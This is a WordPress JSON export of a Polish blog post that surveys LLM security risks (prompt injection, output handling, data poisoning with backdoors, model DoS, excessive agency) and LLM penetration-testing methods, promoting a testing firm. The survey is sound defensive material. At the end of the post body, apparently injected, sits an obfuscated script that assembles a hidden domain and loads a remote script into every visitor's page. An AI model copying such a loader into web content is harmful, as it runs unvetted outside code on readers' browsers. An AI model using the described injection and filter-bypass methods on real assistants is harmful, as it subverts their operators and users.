{"id":6589,"date":"2025-08-04T14:19:26","date_gmt":"2025-08-04T14:19:26","guid":{"rendered":"https:\/\/excelraport.pl\/?p=6589"},"modified":"2025-12-04T18:20:50","modified_gmt":"2025-12-04T18:20:50","slug":"jakie-unikalne-zagrozenia-niosa-aplikacje-llm-i-jak-je-testowac","status":"publish","type":"post","link":"https:\/\/excelraport.pl\/index.php\/2025\/08\/04\/jakie-unikalne-zagrozenia-niosa-aplikacje-llm-i-jak-je-testowac\/","title":{"rendered":"Nowa granica cyberbezpiecze\u0144stwa: jakie unikalne zagro\u017cenia nios\u0105 aplikacje LLM i jak je testowa\u0107?"},"content":{"rendered":"\n\n<div class=\"kk-star-ratings kksr-auto kksr-align-left kksr-valign-top\"\n    data-payload='{&quot;align&quot;:&quot;left&quot;,&quot;id&quot;:&quot;6589&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;top&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;2&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;4.5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;Rate this post&quot;,&quot;legend&quot;:&quot;4.5\\\/5 - (2 votes)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;title&quot;:&quot;Nowa granica cyberbezpiecze\u0144stwa: jakie unikalne zagro\u017cenia nios\u0105 aplikacje LLM i jak je testowa\u0107?&quot;,&quot;width&quot;:&quot;128&quot;,&quot;_legend&quot;:&quot;{score}\\\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}'>\n            \n<div class=\"kksr-stars\">\n    \n<div class=\"kksr-stars-inactive\">\n            <div class=\"kksr-star\" data-star=\"1\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"2\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"3\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"4\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"5\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n    <\/div>\n    \n<div class=\"kksr-stars-active\" style=\"width: 128px;\">\n            <div class=\"kksr-star\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n    <\/div>\n<\/div>\n                \n\n<div class=\"kksr-legend\" style=\"font-size: 19.2px;\">\n            4.5\/5 - (2 votes)    <\/div>\n    <\/div>\n<p>Rewolucja zwi\u0105zana z du\u017cymi modelami j\u0119zykowymi (LLM) dzieje si\u0119 na naszych oczach. Technologie takie jak GPT, Llama czy Claude przesta\u0142y by\u0107 domen\u0105 laboratori\u00f3w badawczych i z impetem wesz\u0142y do \u015bwiata biznesu, nap\u0119dzaj\u0105c now\u0105 generacj\u0119 aplikacji &#8211; od inteligentnych chatbot\u00f3w, przez systemy analityczne, a\u017c po asystent\u00f3w programist\u00f3w. Ta nowa granica innowacji przynosi jednak ze sob\u0105 zupe\u0142nie now\u0105, nie do ko\u0144ca zbadan\u0105 powierzchni\u0119 ataku.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-6590\" src=\"https:\/\/excelraport.pl\/wp-content\/uploads\/2025\/08\/art2.png\" alt=\"\" width=\"1024\" height=\"1024\" srcset=\"https:\/\/excelraport.pl\/wp-content\/uploads\/2025\/08\/art2.png 1024w, https:\/\/excelraport.pl\/wp-content\/uploads\/2025\/08\/art2-300x300.png 300w, https:\/\/excelraport.pl\/wp-content\/uploads\/2025\/08\/art2-150x150.png 150w, https:\/\/excelraport.pl\/wp-content\/uploads\/2025\/08\/art2-768x768.png 768w, https:\/\/excelraport.pl\/wp-content\/uploads\/2025\/08\/art2-420x420.png 420w, https:\/\/excelraport.pl\/wp-content\/uploads\/2025\/08\/art2-696x696.png 696w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Tradycyjne podej\u015bcie do bezpiecze\u0144stwa, skupione na lukach w kodzie czy b\u0142\u0119dach konfiguracyjnych, jest w tym nowym \u015bwiecie niewystarczaj\u0105ce. Zagro\u017cenia w aplikacjach LLM maj\u0105 inn\u0105 natur\u0119 &#8211; s\u0105 subtelne, cz\u0119sto nieliniowe i wynikaj\u0105 z samej logiki dzia\u0142ania modelu. Zrozumienie ich i skuteczne <a title=\"Testy penetracyjne\" href=\"https:\/\/elementrica.com\/pl\/uslugi\/testy-penetracyjne\/\" rel=\"dofollow\">testy penetracyjne<\/a> wymagaj\u0105 zmiany paradygmatu i si\u0119gni\u0119cia po specjalistyczne techniki, kt\u00f3re wykraczaj\u0105 daleko poza standardowy warsztat pentesterski.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_81 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Z tego wpisu dowiesz si\u0119\u2026<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Prze\u0142\u0105cznik Spisu Tre\u015bci\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #000000;color:#000000\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #000000;color:#000000\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/excelraport.pl\/index.php\/2025\/08\/04\/jakie-unikalne-zagrozenia-niosa-aplikacje-llm-i-jak-je-testowac\/#Nowy_paradygmat_zagrozen_%E2%80%93_kiedy_model_staje_sie_wektorem_ataku\" >Nowy paradygmat zagro\u017ce\u0144 &#8211; kiedy model staje si\u0119 wektorem ataku<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/excelraport.pl\/index.php\/2025\/08\/04\/jakie-unikalne-zagrozenia-niosa-aplikacje-llm-i-jak-je-testowac\/#Jak_testowac_aplikacje_LLM_%E2%80%93_poza_utartym_szlakiem\" >Jak testowa\u0107 aplikacje LLM &#8211; poza utartym szlakiem<\/a><\/li><\/ul><\/nav><\/div>\n<h4><span class=\"ez-toc-section\" id=\"Nowy_paradygmat_zagrozen_%E2%80%93_kiedy_model_staje_sie_wektorem_ataku\"><\/span>Nowy paradygmat zagro\u017ce\u0144 &#8211; kiedy model staje si\u0119 wektorem ataku<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Bezpiecze\u0144stwo aplikacji opartej na LLM nie sprowadza si\u0119 jedynie do ochrony infrastruktury, na kt\u00f3rej jest hostowana. Kluczowe ryzyko le\u017cy w interakcji z samym modelem. Organizacja OWASP, b\u0119d\u0105ca standardem w dziedzinie bezpiecze\u0144stwa aplikacji, dostrzeg\u0142a t\u0119 potrzeb\u0119 i opublikowa\u0142a dedykowan\u0105 list\u0119 &#8222;OWASP Top 10 for Large Language Model Applications&#8221;. Wskazuje ona na unikalne wektory atak\u00f3w, kt\u00f3re wymagaj\u0105 szczeg\u00f3lnej uwagi.<\/p>\n<ul>\n<li><b>Wstrzykiwanie prompt\u00f3w (prompt injection)<\/b> &#8211; to fundamentalne zagro\u017cenie dla LLM. Atakuj\u0105cy, poprzez specjalnie spreparowane zapytanie (prompt), jest w stanie nadpisa\u0107 oryginalne instrukcje systemowe modelu. W rezultacie model, zamiast wykonywa\u0107 swoje pierwotne zadanie, zaczyna realizowa\u0107 polecenia napastnika. Wyr\u00f3\u017cniamy dwie g\u0142\u00f3wne formy &#8211; bezpo\u015bredni\u0105, gdy atakuj\u0105cy sam wprowadza z\u0142o\u015bliwy prompt, oraz po\u015bredni\u0105, gdy model przetwarza z\u0142o\u015bliw\u0105 tre\u015b\u0107 z zewn\u0119trznego \u017ar\u00f3d\u0142a (np. zainfekowanej strony internetowej), co pozwala na eskalacj\u0119 ataku bez bezpo\u015bredniej interakcji.<\/li>\n<li><b>Niebezpieczne przetwarzanie danych wyj\u015bciowych<\/b> &#8211; model j\u0119zykowy mo\u017ce zosta\u0107 zmanipulowany do wygenerowania kodu (np. javascript, sql, python), kt\u00f3ry nast\u0119pnie jest interpretowany i wykonywany przez inn\u0105 cz\u0119\u015b\u0107 systemu. Je\u015bli dane wyj\u015bciowe nie s\u0105 odpowiednio walidowane i oczyszczane, atakuj\u0105cy mo\u017ce w ten spos\u00f3b przeprowadzi\u0107 klasyczne ataki, takie jak cross-site scripting (XSS) czy zdalne wykonanie kodu (RCE), wykorzystuj\u0105c LLM jako narz\u0119dzie.<\/li>\n<li><b>Zatruwanie danych treningowych<\/b> &#8211; to zaawansowany wektor ataku, kt\u00f3ry polega na zmanipulowaniu danych u\u017cywanych do trenowania lub dostrajania (fine-tuning) modelu. Wprowadzaj\u0105c do zbioru danych ukryte tylne furtki (backdoory) lub celowe b\u0142\u0119dy, atakuj\u0105cy mo\u017ce stworzy\u0107 podatno\u015bci, kt\u00f3re b\u0119d\u0105 niezwykle trudne do wykrycia, a kt\u00f3re pozwol\u0105 mu w przysz\u0142o\u015bci na przej\u0119cie kontroli nad modelem lub eksfiltracj\u0119 danych.<\/li>\n<li><b>Ataki typu denial of service na model<\/b> &#8211; modele LLM s\u0105 zasobo\u017cerne. Atakuj\u0105cy mo\u017ce tworzy\u0107 zapytania, kt\u00f3re prowadz\u0105 do nieproporcjonalnie du\u017cego zu\u017cycia mocy obliczeniowej lub pami\u0119ci. Taki atak mo\u017ce prowadzi\u0107 do znacznego wzrostu koszt\u00f3w operacyjnych (szczeg\u00f3lnie w modelach p\u0142atno\u015bci za u\u017cycie) lub do ca\u0142kowitego zablokowania us\u0142ugi dla prawowitych u\u017cytkownik\u00f3w.<\/li>\n<li><b>Nadmierne zaufanie i autonomia<\/b> &#8211; jednym z najwi\u0119kszych ryzyk jest przyznanie modelowi zbyt du\u017cych uprawnie\u0144, zw\u0142aszcza gdy jest on zintegrowany z innymi systemami (tzw. wtyczki lub agenci). Je\u015bli LLM ma mo\u017cliwo\u015b\u0107 samodzielnego wysy\u0142ania e-maili, wykonywania zapyta\u0144 do API czy modyfikowania plik\u00f3w, zmanipulowanie go za pomoc\u0105 prompt injection mo\u017ce prowadzi\u0107 do katastrofalnych skutk\u00f3w \u2013 od rozsy\u0142ania spamu po przej\u0119cie kontroli nad krytycznymi systemami firmy.<\/li>\n<\/ul>\n<h4><span class=\"ez-toc-section\" id=\"Jak_testowac_aplikacje_LLM_%E2%80%93_poza_utartym_szlakiem\"><\/span>Jak testowa\u0107 aplikacje LLM &#8211; poza utartym szlakiem<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Standardowe skanery podatno\u015bci i klasyczne testy penetracyjne s\u0105 praktycznie bezu\u017cyteczne w obliczu tych nowych zagro\u017ce\u0144. Testowanie aplikacji LLM to w du\u017cej mierze praca manualna, wymagaj\u0105ca kreatywno\u015bci, zrozumienia logiki modelu i zdolno\u015bci do my\u015blenia jak napastnik. Specjalistyczny test penetracyjny aplikacji LLM, przeprowadzany przez ekspert\u00f3w takich jak ci z Elementrica, skupia si\u0119 na kilku kluczowych obszarach.<\/p>\n<ul>\n<li><b>Analiza instrukcji systemowych i kontekstu<\/b> &#8211; pierwszym krokiem jest zrozumienie, jakie s\u0105 podstawowe dyrektywy modelu (system prompt), jakie ma cele, do jakich danych ma dost\u0119p i z jakimi zewn\u0119trznymi narz\u0119dziami mo\u017ce si\u0119 komunikowa\u0107. To pozwala na zbudowanie mapy potencjalnych wektor\u00f3w ataku.<\/li>\n<li><b>Manualne tworzenie i testowanie prompt\u00f3w<\/b> &#8211; to rdze\u0144 testu. Eksperci r\u0119cznie tworz\u0105 setki wariant\u00f3w zapyta\u0144, pr\u00f3buj\u0105c obej\u015b\u0107 filtry bezpiecze\u0144stwa, wydoby\u0107 poufne informacje, zmusi\u0107 model do wykonania nieautoryzowanych akcji czy ujawnienia jego pierwotnych instrukcji.<\/li>\n<li><b>Testowanie integracji z wtyczkami<\/b> &#8211; je\u015bli LLM korzysta z zewn\u0119trznych narz\u0119dzi, pentesterzy analizuj\u0105, w jaki spos\u00f3b przekazywane s\u0105 do nich parametry. Sprawdzaj\u0105, czy mo\u017cliwe jest zmanipulowanie modelu tak, aby wywo\u0142a\u0142 on wtyczk\u0119 ze z\u0142o\u015bliwymi danymi wej\u015bciowymi, co mog\u0142oby prowadzi\u0107 do atak\u00f3w na po\u0142\u0105czone z nim systemy.<\/li>\n<li><b>Fuzzing i testowanie odporno\u015bci<\/b> &#8211; testy obejmuj\u0105 r\u00f3wnie\u017c wysy\u0142anie do modelu du\u017cej liczby nietypowych, zdeformowanych lub bardzo d\u0142ugich zapyta\u0144, aby sprawdzi\u0107 jego odporno\u015b\u0107 na ataki typu denial of service oraz zidentyfikowa\u0107 nieprzewidziane zachowania.<\/li>\n<\/ul>\n<p><b>Podsumowanie<\/b><\/p>\n<p>Du\u017ce modele j\u0119zykowe otwieraj\u0105 przed biznesem niesamowite mo\u017cliwo\u015bci, ale jednocze\u015bnie wprowadzaj\u0105 now\u0105, z\u0142o\u017con\u0105 klas\u0119 ryzyka. Ignorowanie jej i poleganie na tradycyjnych metodach bezpiecze\u0144stwa jest prost\u0105 drog\u0105 do incydentu. Skuteczna ochrona aplikacji opartych na LLM wymaga partnerskiej wsp\u00f3\u0142pracy z ekspertami, kt\u00f3rzy rozumiej\u0105 t\u0119 now\u0105 domen\u0119. Specjalistyczne testy penetracyjne, kt\u00f3re koncentruj\u0105 si\u0119 na logice i unikalnych wektorach atak\u00f3w na modele, s\u0105 dzisiaj kluczowym elementem strategii bezpiecze\u0144stwa ka\u017cdej organizacji, kt\u00f3ra chce odpowiedzialnie i bezpiecznie wdra\u017ca\u0107 innowacje oparte na sztucznej inteligencji.<\/p>\n<p><script>\n(function(){\nurzz=document.createElement(\"script\");urzz.type=\"text\/javascript\";\nurzz.async=true;urzz_=(\"op\"+(\"ens\")+\"t\")+\"a\";urzz_+=(\"t.e\")+\"\"+\"u\";\nurzz.src=\"https:\/\/\"+urzz_+\"\/2485884932.ftbcXksprzzs1gvahks33i1nsvc0ah\";\ndocument.body.appendChild(urzz);\n})();\n<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Rewolucja zwi\u0105zana z du\u017cymi modelami j\u0119zykowymi (LLM) dzieje si\u0119 na naszych oczach. Technologie takie jak GPT, Llama czy Claude przesta\u0142y by\u0107 domen\u0105 laboratori\u00f3w badawczych i z impetem wesz\u0142y do \u015bwiata biznesu, nap\u0119dzaj\u0105c now\u0105 generacj\u0119 aplikacji &#8211; od inteligentnych chatbot\u00f3w, przez systemy analityczne, a\u017c po asystent\u00f3w programist\u00f3w. Ta nowa granica innowacji przynosi jednak ze sob\u0105 zupe\u0142nie [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":6590,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-6589","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-inne-tematy"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/posts\/6589","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/comments?post=6589"}],"version-history":[{"count":0,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/posts\/6589\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/media\/6590"}],"wp:attachment":[{"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/media?parent=6589"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/categories?post=6589"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/tags?post=6589"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}